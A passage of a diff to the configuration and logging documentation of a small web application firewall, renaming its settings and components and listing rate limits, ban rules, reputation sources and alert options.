- `minute`, `hour` or `day` for a rate limit;
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
- `minute_refusals` for the error burst (`SWW_ERROR_BURST_THRESHOLD`).
- `error_burst`.
When the bytes counted for a request and its response break a limit, the
request has been passed on whole, so its `action` stays `forward`. Only its
`report` line gives that limit.
A request whose bytes broke a limit was passed on whole, so its `action`
stays `forward`. Only its `report` line gives that limit.
- `rule_ids`: the rule file rules that matched, in order, up to the one that
refused.
- `core_rule_set_score` and `core_rule_set_rule_ids`: the Core Rule Set's score
and the rules that matched, for a request it inspected.
- `waf_score` and `waf_rule_ids`: the Core Rule Set's score and the rules that
matched, for a request it inspected.
- `reputation`: the sources the client is on, in this order:
- blocklist URLs;
- the CrowdSec decision list's URL;
- DNS blocklist zones;
- `abuseipdb`.
- `tags`: the request's tags, sorted, left out when it has none. Each tag and
where it comes from is under "Request tags" in [`SPEC.md`](../SPEC.md).
- `routewatch_tags_missing`: why the request got no tags from routewatch,
present only while `SWW_ROUTEWATCH_URL` is set:
- `no_answer_yet`: routewatch has not answered about this client yet;
- `request_failed`: a query to routewatch failed within the last minute, and
the process log says why;
- `no_route`: routewatch knows no live route for the address.
- `offence`: `limit`, for a request that broke a limit.
- `ban_expires`: when the client's ban ends, for a request that made one or was
refused under one: a time, or `permanent`.
@@ -187,19 +146,19 @@ Every one of these lines has:
All in milliseconds:
- `duration_total_ms`:
- on the `decision` line, from `waf` having read the question's body to the
line;
- `duration_total`:
- on the `decision` line, from `servewaf` having read the question's body to
the line;
- on the `report` line, from `rproxy` having read the request's headers to
the end of the answer.
- `duration_checks_ms`: to the end of the checks;
- `duration_core_rule_set_ms`: the part of that the Core Rule Set took;
- `duration_upstream_total_ms`: on the `report` line of an allowed request, from
- `duration_checks`: to the end of the checks;
- `duration_waf`: the part of that the Core Rule Set took;
- `duration_upstream_total`: on the `report` line of an allowed request, from
the hand-over to the app to the end of the answer.
### Requests to its own endpoints
The line of a request to `waf`'s own endpoints has these fields, with these
The line of a request to `servewaf`'s own endpoints has these fields, with these
meanings where they differ:
- `client_ip` and `peer_ip`: the request's TCP peer.
@@ -207,13 +166,13 @@ meanings where they differ:
- `scheme`: `http`.
- `time`: when the request's headers had been read.
- `request_bytes`: the bytes read of a ban to add, and otherwise `0`.
- `action`: `own_endpoint`.
- `duration_total_ms`: from the request's headers being read to the line.
- `action`: `admin`.
- `duration_total`: from the request's headers being read to the line.
## `rproxy`'s line
`sww rproxy` writes one short line for each request. `request_id` joins it to
`waf`'s two. It has these fields and no others:
`smallwebwaf rproxy` writes one short line for each request. `request_id` joins
it to `servewaf`'s two. It has these fields and no others:
- `type`: `request`.
- `time`: when the request arrived, RFC 3339 with milliseconds, in UTC.
@@ -226,22 +185,22 @@ meanings where they differ:
a WebSocket carried from the visitor.
- `response_bytes`: the bytes of the answer's body, with what a WebSocket
carried from the app.
- `duration_request_ms`: milliseconds from the request's headers being read
until the app had been sent the whole request, or the answer started if that
was sooner. It includes the wait for `waf`.
- `duration_response_ms`: milliseconds from then until the end of the answer.
- `duration_request`: milliseconds from the request's headers being read until
the app had been sent the whole request, or the answer started if that was
sooner. It includes the wait for `servewaf`.
- `duration_response`: milliseconds from then until the end of the answer.
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
is `waf`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is left out
when:
- `waf` was not asked, as for the health check;
- the visitor went away while `waf` was being asked;
- `waf`'s answer had no valid `X-Sww-Disposition`;
- `rproxy` could not pass on `waf`'s answer, and answered `502`.
is `servewaf`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is left
out when:
- `servewaf` was not asked, as for the health check;
- the visitor went away while `servewaf` was being asked;
- `servewaf`'s answer had no valid `X-Smallwebwaf-Disposition`;
- `rproxy` could not pass on `servewaf`'s answer, and answered `502`.
- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
`disposition`, and otherwise left out.
For example:
```
{"type":"request","time":"2026-10-03T12:00:00.123Z","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","client_ip":"203.0.113.9","host":"app.example","method":"GET","path":"/","query":"","status":200,"request_bytes":0,"response_bytes":5120,"duration_request_ms":1.204,"duration_response_ms":3.104,"disposition":"allow"}
{"type":"request","time":"2026-10-03T12:00:00.123Z","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","client_ip":"203.0.113.9","host":"app.example","method":"GET","path":"/","query":"","status":200,"request_bytes":0,"response_bytes":5120,"duration_request":1.204,"duration_response":3.104,"disposition":"allow"}
```
+8 -7
View File
@@ -32,7 +32,7 @@ scanner-agent user_agent ban (?i)\b(sqlmap|nikto|nuclei|wpscan)\b
## The default file
The image ships one file, `share/rules.d/00-default.rules`, installed as
`/etc/sww/rules.d/00-default.rules`:
`/etc/smallwebwaf/rules.d/00-default.rules`:
```
# 00-default.rules: probes no real visitor sends, anchored at the site root
@@ -54,18 +54,19 @@ empty-agent user_agent log ^$
## A file of your own
`waf` reads the rule files in its own container. Rules of your own go in a file
named to sort after the default, such as `50-site.rules`:
`servewaf` reads the rule files in its own container. Rules of your own go in a
file named to sort after the default, such as `50-gitea.rules`:
```
# 50-site.rules: WordPress probes, which this site never serves
# 50-gitea.rules: WordPress probes, which gitea never serves
wp-probe path ban (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/)
```
A `Dockerfile` built on the `smallwebwaf` image, for `waf` to run from, adds it:
A `Dockerfile` built on the `smallwebwaf` image, for `servewaf` to run from,
adds it:
```dockerfile
COPY 50-site.rules /etc/sww/rules.d/50-site.rules
COPY 50-gitea.rules /etc/smallwebwaf/rules.d/50-gitea.rules
```
Or mount it there. A `path` rule applies on every site behind that `waf`.
Or mount it there. A `path` rule applies on every site behind that `servewaf`.
+197 -263
View File
@@ -4,9 +4,9 @@ Every setting, its default and the values it takes, in the groups of "Settings"
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
that take `off`, the `_FILE` form, and what each group does and why.
The settings that start with `SWW_` are `waf`'s. Those that start with `SWRP_`
are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses between
the two (see "The image's command" below).
The settings that start with `SWWAF_` are `servewaf`'s. Those that start with
`SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SMALLWEBWAF_COMMAND`
chooses between the two (see "The image's command" below).
## Forms of values
@@ -28,337 +28,271 @@ the two (see "The image's command" below).
## Core
- `SWW_LISTEN_ADDR` (default `:8080`): where `waf` listens: `:` and a port, such
as `:9000`. Leave the host out (see "Ports" in [`SPEC.md`](../SPEC.md)).
- `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name
in each line `waf` logs, and in each alert and metric, such as `fsn1/waf`.
Valid UTF-8. No control character while `SWW_ALERT_NTFY_URL` is set. 1 to 48
printable ASCII characters without a space while `SWW_LOG_REMOTE_URL` is set
and `SWW_LOG_REMOTE_APP_NAME` is not.
- `SWW_MODE` (default `enforce`): `enforce` or `observe`.
- `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's
group, from 32 to 128.
- `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
number above zero.
- `SWW_MAX_BANS` (default `5000`): how many of its own bans `waf` keeps, a whole
- `SWWAF_LISTEN_ADDR` (default `:8080`): where `servewaf` listens: `:` and a
port, such as `:9000`. Leave the host out (see "Ports" in
[`SPEC.md`](../SPEC.md)).
- `SWWAF_INSTANCE_NAME` (default: the container's host name): the `instance`
name in each line `servewaf` logs, and in each alert and metric, such as
`fsn1/servewaf`. Valid UTF-8. No control character while
`SWWAF_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
space while `SWWAF_LOG_REMOTE_URL` is set and `SWWAF_LOG_REMOTE_APP_NAME` is
not.
- `SWWAF_MODE` (default `enforce`): `enforce` or `observe`.
- `SWWAF_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6
client's group, from 32 to 128.
- `SWWAF_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
number above zero.
- `SWWAF_MAX_BANS` (default `5000`): how many of its own bans `servewaf` keeps,
a whole number above zero.
## Tokens
- `SWW_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
`/_sww/clients/<ip>`. At least 32 characters.
- `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
32 characters.
- `SWWAF_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
`/_smallwebwaf/clients/<ip>`. At least 32 characters.
- `SWWAF_METRICS_TOKEN` (default unset): the token for `/_smallwebwaf/metrics`.
At least 32 characters.
## State and cache files
## State files
- `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
absolute path that can be written. The image's `run` script makes it.
- `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
- `SWWAF_STATE_DIR` (default `/var/lib/smallwebwaf`): the directory of the state
files, an absolute path that exists and can be written.
- `SWWAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
written after a ban is made, lifted or made permanent. A duration.
- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and cache
file is written. A duration.
- `SWW_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache files,
an absolute path that can be written. The image's `run` script makes it.
- `SWWAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
written. A duration.
## Logging
- `SWW_LOG_LEVEL` (default `info`): the least severe of `waf`'s own messages
that are written: `debug`, `info`, `warn` or `error`.
- `SWW_LOG_REQUEST_HEADERS` (default
- `SWWAF_LOG_LEVEL` (default `info`): the least severe of `servewaf`'s own
messages that are written: `debug`, `info`, `warn` or `error`.
- `SWWAF_LOG_REQUEST_HEADERS` (default
`accept,accept-language,accept-encoding,content-type,origin,range`): the
request headers recorded in the log line, in either case. `Host` and
`Transfer-Encoding` are refused; the host is the field `host`.
- `SWW_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
- `SWWAF_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
each with a host and a port and nothing more.
- `SWW_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates that
a `syslog+tls` server's certificate must chain to, instead of the host's own.
A file that cannot be read, or holds no certificate, is refused.
- `SWW_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they wait
to be sent, a whole number above zero.
- `SWW_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
- `SWWAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
that a `syslog+tls` server's certificate must chain to, instead of the host's
own. A file that cannot be read, or holds no certificate, is refused.
- `SWWAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they
wait to be sent, a whole number above zero.
- `SWWAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
`authpriv`, `ftp`, or `local0` to `local7`.
- `SWW_LOG_REMOTE_APP_NAME` (default: `SWW_INSTANCE_NAME`): the app name in each
syslog record, 1 to 48 printable ASCII characters without a space.
- `SWWAF_LOG_REMOTE_APP_NAME` (default: `SWWAF_INSTANCE_NAME`): the app name in
each syslog record, 1 to 48 printable ASCII characters without a space.
## Metrics
- `SWW_METRICS_TOP_N` (default `50`): how many AS numbers and how many countries
get series of their own. A whole number above zero.
- `SWWAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many
countries get series of their own. A whole number above zero.
## Static lists
- `SWW_ALLOW_NETS` (default empty): netblocks you trust, such as your monitoring
(see step 4 in [`SPEC.md`](../SPEC.md)).
- `SWW_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
- `SWWAF_ALLOW_NETS` (default empty): netblocks you trust, such as your
monitoring (see step 3 in [`SPEC.md`](../SPEC.md)).
- `SWWAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
exempt from rate limiting and the byte limits.
- `SWW_DENY_NETS` (default empty): netblocks whose clients are refused (see step
4 in [`SPEC.md`](../SPEC.md)).
- `SWWAF_DENY_NETS` (default empty): netblocks whose clients are refused (see
step 3 in [`SPEC.md`](../SPEC.md)).
## Request rate limits, per client
The request past one of these limits is refused, and the client is banned.
- `SWW_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests a
- `SWWAF_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests a
client may make in a minute. A count or `off`. The default leaves room for a
person opening two pages at once with an empty cache, up to 60 files each.
- `SWW_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
person opening two gitea pages at once with an empty cache, up to 60 files
each.
- `SWWAF_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
make in an hour. A count or `off`. It is the main limit against scrapers. A
person reading a site for an hour, a page every 20 seconds, makes about 900. A
scraper making one request every 2 seconds makes 1,800 an hour, more than the
person reading code in gitea for an hour, a page every 20 seconds, makes
about 900. A scraper making one request every 2 seconds makes 1,800 an hour,
more than the limit.
- `SWWAF_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may
make in a day. A count or `off`. The default is four hours at the hour limit.
A scraper making one request every 10 seconds makes 8,640 a day, more than the
limit.
- `SWW_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may make
in a day. A count or `off`. The default is four hours at the hour limit. A
scraper making one request every 10 seconds makes 8,640 a day, more than the
limit.
- A CI runner asks its code forge for work all day and can pass the limits. Put
the runners' addresses in `SWW_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
- An Actions runner asks gitea for work all day and can pass the limits. Put the
runners' addresses in `SWWAF_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
network where many people share one address, such as an office.
- Counting cannot catch a client that stays under all three limits (see "Request
rate limits, per client" in [`SPEC.md`](../SPEC.md)).
- `SWW_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from rate
limiting and the byte limits, such as `/assets/`.
- `SWWAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from
rate limiting and the byte limits, such as `/assets/`.
## Byte limits, per client
These count body bytes, never headers. What the visitor sent over a WebSocket
counts as request bytes, and what the app sent as response bytes. The bytes
counted for a request and its response are added to the client's total once the
response has ended. The request that takes a client's total past a limit is not
cut off; the client is banned.
- `SWW_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWW_BYTES_LIMIT_PER_HOUR`
(default `50G`) and `SWW_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes
counted for a client in each window, a size or `off`. `SWW_BYTES_COUNT` says
which bytes count: response bodies, request bodies or both. The request that
passes the limit is not cut off, and the client is banned when its response
ends.
- `SWW_BYTES_COUNT` (default `both`): what the byte limits and the byte anomaly
thresholds count: `response`, the app's response bodies; `request`, the
visitors' request bodies; or `both`. What the visitor sent over a WebSocket
counts as request bytes, and what the app sent as response bytes.
- `SWWAF_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWWAF_BYTES_LIMIT_PER_HOUR`
(default `50G`) and `SWWAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most
bytes counted for a client in each window. A size or `off`.
- `SWWAF_BYTES_COUNT` (default `both`): which body bytes the byte limits count:
`response`, `request` or `both`.
## Lookup of AS number and country
- `SWW_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops
- `SWWAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops
the start while a setting that needs a lookup is set:
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES`;
- `SWW_ADD_LOOKUP_HEADERS`;
- `SWW_TAG_DENY` or `SWW_TAG_LIMIT_PERCENT` naming a `country=` tag, or an
`asn=` tag while `SWW_ROUTEWATCH_URL` is unset;
- the two byte percentage lists and `SWW_ASN_LIMIT_PERCENT_URL`;
- `SWW_UNKNOWN_LIMIT_PERCENT` below `100`;
- the two country lists;
- `SWWAF_ADD_LOOKUP_HEADERS`;
- the four biased threshold lists and `SWWAF_ASN_LIMIT_PERCENT_URL`;
- `SWWAF_UNKNOWN_LIMIT_PERCENT` below `100`;
- an anomaly threshold per AS number.
- `SWW_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its
`.mmdb` form, for `SWW_LOOKUP_SOURCE=file`.
- `SWW_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
- `SWWAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its
`.mmdb` form, for `SWWAF_LOOKUP_SOURCE=file`.
- `SWWAF_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
client's first answer from GeoJS, and how long a request to GeoJS may take. A
duration; never `off`.
- `SWW_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app
- `SWWAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app
the client's AS number in `X-Client-ASN` and its country in
`X-Client-Country`.
## Country list
## Country lists
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
countries whose clients get through, such as `us,de`. A country whose
`country=` tag is in `SWW_TAG_DENY` stops the start.
## Request tags
Every request gets tags from what `waf` knows of its client. See "Request tags"
in [`SPEC.md`](../SPEC.md).
- `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
`https` URL fetched like a blocklist. A name or URL listed twice is refused.
So is a URL that is also in `SWW_BLOCKLIST_URLS`, `SWW_ASN_LIMIT_PERCENT_URL`,
or the CrowdSec decision list.
- `SWW_TAG_DENY` (default empty): tags whose requests are refused, such as
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
`country=` tag without a country, is refused.
- `SWW_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's limits, as
tag and percentage pairs, such as `vpn:50,asn=14061:25`. A percentage is from
`1` to `99`, of every rate limit and byte limit. The lowest percentage among a
client's tags applies. A tag listed twice is refused. So is
`exploitsignature`: a request gets that tag after the rate limits have counted
it.
- `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
service that gives an address's announced netblock and origin AS. `waf` asks
it about each client, in the background, and adds the tags `asn=<number>` and
`prefix=<netblock>` from its answer. While it is unset, nothing asks
routewatch and no request gets a `prefix=` tag.
`SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag
that no request can get stops the start. A request can get only these:
- a name in `SWW_TAG_LISTS`;
- an `asn=` or `country=` tag;
- a `prefix=` tag with a netblock, while `SWW_ROUTEWATCH_URL` is set. It matches
only that exact announced netblock, such as `prefix=192.0.2.0/24`;
- a `dnsbl=` tag of a zone in `SWW_DNSBL_ZONES`, in lower case, with a key
masked as the `reputation` field shows it;
- `abuseipdb`, while `SWW_ABUSEIPDB_KEY` is set;
- `exploitsignature`, in `SWW_TAG_DENY` only, while `SWW_RULES_ENABLED` is
`true`, or while neither `SWW_WAF_MODE` nor `SWW_WAF_ANOMALY_THRESHOLD` is
`off`.
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
the request first.
- `SWWAF_DENIED_COUNTRIES` (default empty): countries whose clients are refused,
such as `cn,ru,kp`.
- `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
countries whose clients get through, such as `us,de`. A country on both lists
stops the start.
## Biased thresholds
- `SWW_ASN_BYTES_PERCENT` and `SWW_COUNTRY_BYTES_PERCENT` (default empty): a
percentage of the byte limits alone, for the AS numbers or countries listed,
such as `AS14061:50` or `cn:25`. It takes the place of the percentage
`SWW_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number or
country listed twice is refused.
- `SWW_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the
- `SWWAF_ASN_LIMIT_PERCENT` (default empty): a list of AS numbers, each with `:`
and a percentage, such as `AS14061:50,AS16276:50,AS45102:25`. An AS number
listed twice is refused.
- `SWWAF_COUNTRY_LIMIT_PERCENT` (default empty): the same by country, such as
`cn:25,ru:50`.
- `SWWAF_ASN_BYTES_PERCENT` and `SWWAF_COUNTRY_BYTES_PERCENT` (default empty):
the same, for the byte limits alone.
- `SWWAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the
lookup cannot place.
- `SWW_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a
- `SWWAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a
text file with one AS number and percentage on each line, such as
`AS64496:50`. Each entry counts like an `asn=` tag in `SWW_TAG_LIMIT_PERCENT`.
A URL that is also in `SWW_BLOCKLIST_URLS` is refused.
`AS64496:50`. A URL that is also in `SWWAF_BLOCKLIST_URLS` is refused.
## Attack detection
- `SWW_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule files.
- `SWW_RULES_ENABLED` (default `true`): `false` reads no rule file.
- `SWW_TRAP_PATHS` (default empty): paths only scanners ask for, such as
- `SWWAF_RULES_DIR` (default `/etc/smallwebwaf/rules.d`): the directory of the
rule files.
- `SWWAF_RULES_ENABLED` (default `true`): `false` reads no rule file.
- `SWWAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
- `SWW_WAF_MODE` (default `block`): `off`, `detect` or `block`.
- `SWW_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
- `SWWAF_WAF_MODE` (default `block`): `off`, `detect` or `block`.
- `SWWAF_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
from 1 to 4.
- `SWW_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a
- `SWWAF_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a
match. A whole number above zero, or `off`.
- `SWW_WAF_DISABLED_RULES` (default
- `SWWAF_WAF_DISABLED_RULES` (default
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
to switch off. Each a whole number above zero. An id from 900000 to 900999 is
refused: those are the rules that set the Core Rule Set up, and
`smallwebwaf`'s own.
- `SWW_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does
- `SWWAF_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does
not inspect.
- `SWW_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body the
Core Rule Set reads, a size of at most `64K`. A question carries no more of a
body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one byte of
it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)).
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule Set
exclusions, written as Coraza directives. It is loaded before the Core Rule
Set's rules, so it holds only `SecAction` and `SecRule` lines that exclude
with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that cannot be
read or does not parse stops the start, whatever `SWW_WAF_MODE` is. So does a
file that names a number from 900000 to 900999 outside a comment, alone or in
a range. So does a directive that removes or changes rules as the file loads,
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
yet. It has no `_FILE` form.
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
in a minute from a rule file, a trap path or the Core Rule Set, a count or
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
- `SWWAF_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body
the Core Rule Set reads, a size of at most `64K`. A question carries no more
of a body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one
byte of it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)).
- `SWWAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals of one client
in a minute (see "Attack detection" in `SPEC.md`). A count or `off`.
## Ban lengths, response and scope
- `SWW_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
- `SWW_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A
- `SWWAF_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
- `SWWAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A
duration.
- `SWW_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
- `SWWAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
within which breaking a limit again lengthens the next ban. A duration.
- `SWW_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit; one
that would be longer is permanent. A duration.
- `SWW_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of
- `SWWAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit;
one that would be longer is permanent. A duration.
- `SWWAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of
attack. A duration.
- `SWW_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
- `SWWAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
covers: the prefix length of its netblock, from 0 to 32.
## Reputation
- `SWW_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
- `SWWAF_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
`https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
without a user or a fragment. A URL listed twice is refused.
- `SWW_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its last
try before it is fetched again. A duration of `1h` or more.
- `SWW_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`.
- `SWW_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
- `SWWAF_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its
last try before it is fetched again. A duration of `1h` or more.
- `SWWAF_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`.
- `SWWAF_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
`dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
is refused, whatever its case or key.
- `SWW_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through,
- `SWWAF_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through,
such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional
port, 53 when none is given. Unset, the host's resolver is used.
- `SWW_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
- `SWWAF_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
control character in it is refused.
- `SWW_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score,
- `SWWAF_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score,
from 0 to 100, that is a hit.
- `SWW_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day, a
whole number above zero. AbuseIPDB's free accounts may make 1,000.
- `SWW_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine
- `SWWAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day,
a whole number above zero. AbuseIPDB's free accounts may make 1,000.
- `SWWAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine
you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a
user or a fragment; its decision list is at `v1/decisions` under it. Set
without the key, it is refused. So is a decision list URL that is also in
`SWW_BLOCKLIST_URLS`, or that is `SWW_ASN_LIMIT_PERCENT_URL`.
- `SWW_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
`SWWAF_BLOCKLIST_URLS`, or that is `SWWAF_ASN_LIMIT_PERCENT_URL`.
- `SWWAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
URL, it is refused.
- `SWW_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
- `SWWAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
`log`, for DNS blocklist and AbuseIPDB hits.
- `SWW_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
- `SWWAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
AbuseIPDB's score is used. A duration.
- `SWW_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a check
with AbuseIPDB may take. A duration.
- `SWWAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a
check with AbuseIPDB may take. A duration.
## Alerting
- `SWW_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each alert
as a JSON object. An `http` or `https` URL without a user or a fragment.
- `SWW_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post, such
as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and value. A
value cannot hold a comma.
- `SWW_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook that
receives each alert as a message, checked as the webhook URL is.
- `SWW_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each alert,
as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked as the
webhook URL is.
- `SWW_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
- `SWWAF_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each
alert as a JSON object. An `http` or `https` URL without a user or a fragment.
- `SWWAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post,
such as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and
value. A value cannot hold a comma.
- `SWWAF_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook
that receives each alert as a message, checked as the webhook URL is.
- `SWWAF_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each
